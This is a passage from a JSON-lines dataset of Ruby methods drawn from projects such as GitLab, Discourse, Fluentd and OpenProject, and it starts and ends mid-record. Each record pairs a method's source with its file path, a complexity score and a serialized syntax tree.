ar\",\"children\":[\"style_class\"]},{\"type\":\"lvar\",\"children\":[\"alignment_style\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"format_column\",{\"type\":\"lvar\",\"children\":[\"col_name\"]},{\"type\":\"lvar\",\"children\":[\"row_data\"]},{\"type\":\"lvar\",\"children\":[\"time_zone\"]},{\"type\":\"lvar\",\"children\":[\"col_format\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"str\",\"children\":[\"</td>\"]}]}]}]}","id":"008c0d41-1ba4-4639-8c11-1d33fd3e9dc6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/pagination_delegate.rb","start_line":67,"raw_source":"def sanitize_page(page)\n      return 1 unless page && page > 1\n\n      [total_pages, page].min\n    end","complexity_score":5.9,"ast_json":"{\"type\":\"def\",\"children\":[\"sanitize_page\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"page\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page\"]},\">\",{\"type\":\"int\",\"children\":[1]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"total_pages\"]},{\"type\":\"lvar\",\"children\":[\"page\"]}]},\"min\"]}]}]}","id":"1925234c-eabe-4dbf-aabf-3f84712d98d3"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/api_key_scope.rb","start_line":8,"raw_source":"def list_actions\n      actions = %w[list#category_feed list#category_default list#latest_feed]\n\n      %i[latest unread new top].each { |f| actions.concat([\"list#category_#{f}\", \"list##{f}\"]) }\n\n      actions\n    end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"list_actions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"actions\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"list#category_feed\"]},{\"type\":\"str\",\"children\":[\"list#category_default\"]},{\"type\":\"str\",\"children\":[\"list#latest_feed\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"latest\"]},{\"type\":\"sym\",\"children\":[\"unread\"]},{\"type\":\"sym\",\"children\":[\"new\"]},{\"type\":\"sym\",\"children\":[\"top\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"actions\"]},\"concat\",{\"type\":\"array\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"list#category_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"list#\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"actions\"]}]}]}","id":"b51914fd-4b33-445d-99ff-c8999fbd4d4f"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/root_agent.rb","start_line":79,"raw_source":"def initialize(log:, system_config: SystemConfig.new, start_in_parallel: false)\n      super(log: log)\n\n      @labels = {}\n      @inputs = []\n      @suppress_emit_error_log_interval = 0\n      @next_emit_error_log_time = nil\n      @without_source = system_config.without_source || false\n      @source_only_mode = SourceOnlyMode.new(system_config.with_source_only, start_in_parallel)\n      @source_only_buffer_agent = nil\n      @enable_input_metrics = system_config.enable_input_metrics\n\n      suppress_interval(system_config.emit_error_log_interval) unless system_config.emit_error_log_interval.nil?\n    end","complexity_score":20.9,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"log\"]},{\"type\":\"kwoptarg\",\"children\":[\"system_config\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SystemConfig\"]},\"new\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"start_in_parallel\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"log\"]},{\"type\":\"lvar\",\"children\":[\"log\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@labels\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@inputs\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@suppress_emit_error_log_interval\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"ivasgn\",\"children\":[\"@next_emit_error_log_time\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@without_source\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"system_config\"]},\"without_source\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@source_only_mode\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SourceOnlyMode\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"system_config\"]},\"with_source_only\"]},{\"type\":\"lvar\",\"children\":[\"start_in_parallel\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@source_only_buffer_agent\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@enable_input_metrics\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"system_config\"]},\"enable_input_metrics\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"system_config\"]},\"emit_error_log_interval\"]},\"nil?\"]},null,{\"type\":\"send\",\"children\":[null,\"suppress_interval\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"system_config\"]},\"emit_error_log_interval\"]}]}]}]}]}","id":"093d5672-fc7b-4573-8780-503e0135ad63"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/models/chat/thread.rb","start_line":46,"raw_source":"def add(user, notification_level: Chat::NotificationLevels.all[:tracking])\n      membership = Chat::UserChatThreadMembership.find_by(user: user, thread: self)\n      return membership if membership\n\n      Chat::UserChatThreadMembership.create!(\n        user: user,\n        thread: self,\n        notification_level: notification_level,\n      )\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"add\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"kwoptarg\",\"children\":[\"notification_level\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"NotificationLevels\"]},\"all\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"tracking\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"membership\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"UserChatThreadMembership\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"thread\"]},{\"type\":\"self\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"membership\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"membership\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"UserChatThreadMembership\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"thread\"]},{\"type\":\"self\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notification_level\"]},{\"type\":\"lvar\",\"children\":[\"notification_level\"]}]}]}]}]}]}","id":"329ca71e-c7bb-4270-a8e0-b3ec778c59e5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/background_migration/batched_migration.rb","start_line":238,"raw_source":"def batch_class\n          \"#{BATCH_CLASS_MODULE}::#{batch_class_name}\".constantize\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"batch_class\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BATCH_CLASS_MODULE\"]}]},{\"type\":\"str\",\"children\":[\"::\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"batch_class_name\"]}]}]},\"constantize\"]}]}","id":"18e5d293-10f1-41ac-b911-5b15e58bd5e3"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/sessions/sql_bypass.rb","start_line":83,"raw_source":"def insert!\n      @new_record = false\n      connection.update <<~SQL, \"Create session\"\n         INSERT INTO sessions (session_id, data, user_id, updated_at)\n         VALUES (\n           #{connection.quote(session_id)},\n           #{connection.quote(self.class.serialize(data))},\n           #{connection.quote(user_id)},\n           (now() at time zone 'utc')\n        )\n      SQL\n    end","complexity_score":18.4,"ast_json":"{\"type\":\"def\",\"children\":[\"insert!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@new_record\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"update\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" INSERT INTO sessions (session_id, data, user_id, updated_at)\\n\"]},{\"type\":\"str\",\"children\":[\" VALUES (\\n\"]},{\"type\":\"str\",\"children\":[\"   \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"quote\",{\"type\":\"send\",\"children\":[null,\"session_id\"]}]}]},{\"type\":\"str\",\"children\":[\",\\n\"]},{\"type\":\"str\",\"children\":[\"   \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"quote\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"serialize\",{\"type\":\"send\",\"children\":[null,\"data\"]}]}]}]},{\"type\":\"str\",\"children\":[\",\\n\"]},{\"type\":\"str\",\"children\":[\"   \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"quote\",{\"type\":\"send\",\"children\":[null,\"user_id\"]}]}]},{\"type\":\"str\",\"children\":[\",\\n\"]},{\"type\":\"str\",\"children\":[\"   (now() at time zone 'utc')\\n\"]},{\"type\":\"str\",\"children\":[\")\\n\"]}]},{\"type\":\"str\",\"children\":[\"Create session\"]}]}]}]}","id":"25f30af0-568e-45d7-aacb-356595c2a6fb"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/syntax.rb","start_line":32,"raw_source":"def add_offense_from_error(error)\n          message = beautify_message(error.message)\n          add_global_offense(message, severity: :fatal)\n        end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"add_offense_from_error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"error\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[null,\"beautify_message\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"message\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_global_offense\",{\"type\":\"lvar\",\"children\":[\"message\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"severity\"]},{\"type\":\"sym\",\"children\":[\"fatal\"]}]}]}]}]}]}","id":"38df77da-5726-4beb-b9af-2341a4405d0e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/import/source_user_mapper.rb","start_line":55,"raw_source":"def find_or_create_source_user(source_name:, source_username:, source_user_identifier:, cache: true)\n        source_user = find_source_user(source_user_identifier)\n        return source_user if source_user\n\n        source_user = create_source_user(\n          source_name: source_name,\n          source_username: source_username,\n          source_user_identifier: source_user_identifier\n        )\n\n        cache_from_request_store[source_user_identifier] = source_user if cache\n\n        source_user\n      end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"find_or_create_source_user\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"source_name\"]},{\"type\":\"kwarg\",\"children\":[\"source_username\"]},{\"type\":\"kwarg\",\"children\":[\"source_user_identifier\"]},{\"type\":\"kwoptarg\",\"children\":[\"cache\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"source_user\",{\"type\":\"send\",\"children\":[null,\"find_source_user\",{\"type\":\"lvar\",\"children\":[\"source_user_identifier\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_user\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_user\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"source_user\",{\"type\":\"send\",\"children\":[null,\"create_source_user\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_name\"]},{\"type\":\"lvar\",\"children\":[\"source_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_username\"]},{\"type\":\"lvar\",\"children\":[\"source_username\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_user_identifier\"]},{\"type\":\"lvar\",\"children\":[\"source_user_identifier\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cache\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cache_from_request_store\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"source_user_identifier\"]},{\"type\":\"lvar\",\"children\":[\"source_user\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"source_user\"]}]}]}","id":"f4c48b88-c952-4b76-9779-708a04f8d41b"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/file_null.rb","start_line":51,"raw_source":"def on_new_investigation\n          return unless (ast = processed_source.ast)\n\n          @contain_dev_null_string_in_file = ast.each_descendant(:str).any? do |str|\n            content = str.str_content\n\n            valid_string?(content) && content.downcase == '/dev/null' # rubocop:disable Style/FileNull\n          end\n        end","complexity_score":16.1,"ast_json":"{\"type\":\"def\",\"children\":[\"on_new_investigation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ast\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"processed_source\"]},\"ast\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@contain_dev_null_string_in_file\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ast\"]},\"each_descendant\",{\"type\":\"sym\",\"children\":[\"str\"]}]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"str\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},\"str_content\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid_string?\",{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"downcase\"]},\"==\",{\"type\":\"str\",\"children\":[\"/dev/null\"]}]}]}]}]}]}]}]}","id":"b10b77c3-ffdc-47b3-a050-ba0bf7e98853"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/list_controller.rb","start_line":401,"raw_source":"def set_category\n    category_slug_path_with_id = params.require(:category_slug_path_with_id)\n\n    @category = Category.find_by_slug_path_with_id(category_slug_path_with_id)\n    raise Discourse::NotFound.new(\"category not found\", check_permalinks: true) if @category.nil?\n\n    params[:category] = @category.id.to_s\n\n    if !guardian.can_see?(@category)\n      if SiteSetting.detailed_404\n        raise Discourse::InvalidAccess\n      else\n        raise Discourse::NotFound\n      end\n    end\n\n    # Check if the category slug is incorrect and redirect to a link containing\n    # the correct one.\n    current_slug = category_slug_path_with_id\n    if SiteSetting.slug_generation_method == \"encoded\"\n      current_slug = current_slug.split(\"/\").map { |slug| CGI.escape(slug) }.join(\"/\")\n    end\n    real_slug = @category.full_slug(\"/\")\n    if CGI.unescape(current_slug) != CGI.unescape(real_slug)\n      path = CGI.unescape(request.path)\n      query = request.query_string\n      new_path = path.gsub(current_slug, real_slug)\n      url = query.present? ? \"#{new_path}?#{query}\" : new_path\n      if ActionController::Base.config.relative_url_root\n        url = url.sub(ActionController::Base.config.relative_url_root, \"\")\n      end\n\n      return redirect_to path(url), status: :moved_permanently\n    end\n\n    @description_meta =\n      if @category.uncategorized?\n        I18n.t(\"category.uncategorized_description\", locale: SiteSetting.default_locale)\n      elsif @category.description_text.present?\n        @category.description_text\n      else\n        SiteSetting.site_description\n      end\n\n    if use_crawler_layout?\n      @subcategories = @category.subcategories.select { |c| guardian.can_see?(c) }\n    end\n  end","complexity_score":89.2,"ast_json":"{\"type\":\"def\",\"children\":[\"set_category\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"category_slug_path_with_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"category_slug_path_with_id\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@category\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Category\"]},\"find_by_slug_path_with_id\",{\"type\":\"lvar\",\"children\":[\"category_slug_path_with_id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@category\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"NotFound\"]},\"new\",{\"type\":\"str\",\"children\":[\"category not found\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"check_permalinks\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"category\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@category\"]},\"id\"]},\"to_s\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"guardian\"]},\"can_see?\",{\"type\":\"ivar\",\"children\":[\"@category\"]}]},\"!\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"detailed_404\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"InvalidAccess\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"NotFound\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"current_slug\",{\"type\":\"lvar\",\"children\":[\"category_slug_path_with_id\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"slug_generation_method\"]},\"==\",{\"type\":\"str\",\"children\":[\"encoded\"]}]},{\"type\":\"lvasgn\",\"children\":[\"current_slug\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_slug\"]},\"split\",{\"type\":\"str\",\"children\":[\"/\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"slug\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CGI\"]},\"escape\",{\"type\":\"lvar\",\"children\":[\"slug\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"/\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"real_slug\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@category\"]},\"full_slug\",{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CGI\"]},\"unescape\",{\"type\":\"lvar\",\"children\":[\"current_slug\"]}]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CGI\"]},\"unescape\",{\"type\":\"lvar\",\"children\":[\"real_slug\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CGI\"]},\"unescape\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"path\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"query_string\"]}]},{\"type\":\"lvasgn\",\"children\":[\"new_path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"gsub\",{\"type\":\"lvar\",\"children\":[\"current_slug\"]},{\"type\":\"lvar\",\"children\":[\"real_slug\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"url\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"present?\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_path\"]}]},{\"type\":\"str\",\"children\":[\"?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]}]}]},{\"type\":\"lvar\",\"children\":[\"new_path\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionController\"]},\"Base\"]},\"config\"]},\"relative_url_root\"]},{\"type\":\"lvasgn\",\"children\":[\"url\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"sub\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionController\"]},\"Base\"]},\"config\"]},\"relative_url_root\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"path\",{\"type\":\"lvar\",\"children\":[\"url\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"moved_permanently\"]}]}]}]}]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@description_meta\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@category\"]},\"uncategorized?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"category.uncategorized_description\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locale\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"default_locale\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@category\"]},\"description_text\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@category\"]},\"description_text\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"site_description\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"use_crawler_layout?\"]},{\"type\":\"ivasgn\",\"children\":[\"@subcategories\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@category\"]},\"subcategories\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"guardian\"]},\"can_see?\",{\"type\":\"lvar\",\"children\":[\"c\"]}]}]}]},null]}]}]}","id":"b0e6848d-df95-435e-a549-bc5537d43175"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/features/profiles/account_spec.rb","start_line":125,"raw_source":"def update_username(new_username)\n  allow(user.namespace).to receive(:move_dir)\n  visit profile_account_path\n\n  fill_in 'username-change-input', with: new_username\n\n  find_by_testid('username-change-confirmation-modal').click\n\n  page.within('.modal') do\n    find('.js-modal-action-primary').click\n  end\n\n  wait_for_requests\nend","complexity_score":18.4,"ast_json":"{\"type\":\"def\",\"children\":[\"update_username\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"new_username\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"namespace\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"move_dir\"]}]}]},{\"type\":\"send\",\"children\":[null,\"visit\",{\"type\":\"send\",\"children\":[null,\"profile_account_path\"]}]},{\"type\":\"send\",\"children\":[null,\"fill_in\",{\"type\":\"str\",\"children\":[\"username-change-input\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"lvar\",\"children\":[\"new_username\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find_by_testid\",{\"type\":\"str\",\"children\":[\"username-change-confirmation-modal\"]}]},\"click\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"within\",{\"type\":\"str\",\"children\":[\".modal\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\".js-modal-action-primary\"]}]},\"click\"]}]},{\"type\":\"send\",\"children\":[null,\"wait_for_requests\"]}]}]}","id":"c88f86ab-4f1f-46d1-ae17-9b847cef5e49"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_request_task.rb","start_line":210,"raw_source":"def execute\n    _log.info(\"Executing #{request_class::TASK_DESCRIPTION} request: [#{description}]\")\n    update_and_notify_parent(:state => \"active\", :status => \"Ok\", :message => \"In Process\")\n\n    begin\n      message = \"#{request_class::TASK_DESCRIPTION} initiated\"\n      _log.info(message)\n      update_and_notify_parent(:message => message)\n\n      # Process the request\n      do_request\n    rescue => err\n      message = \"Error: #{err.message}\"\n      _log.error(\"[#{message}] encountered during #{request_class::TASK_DESCRIPTION}\")\n      _log.log_backtrace(err)\n      update_and_notify_parent(:state => \"finished\", :status => \"Error\", :message => message)\n      nil\n    end\n  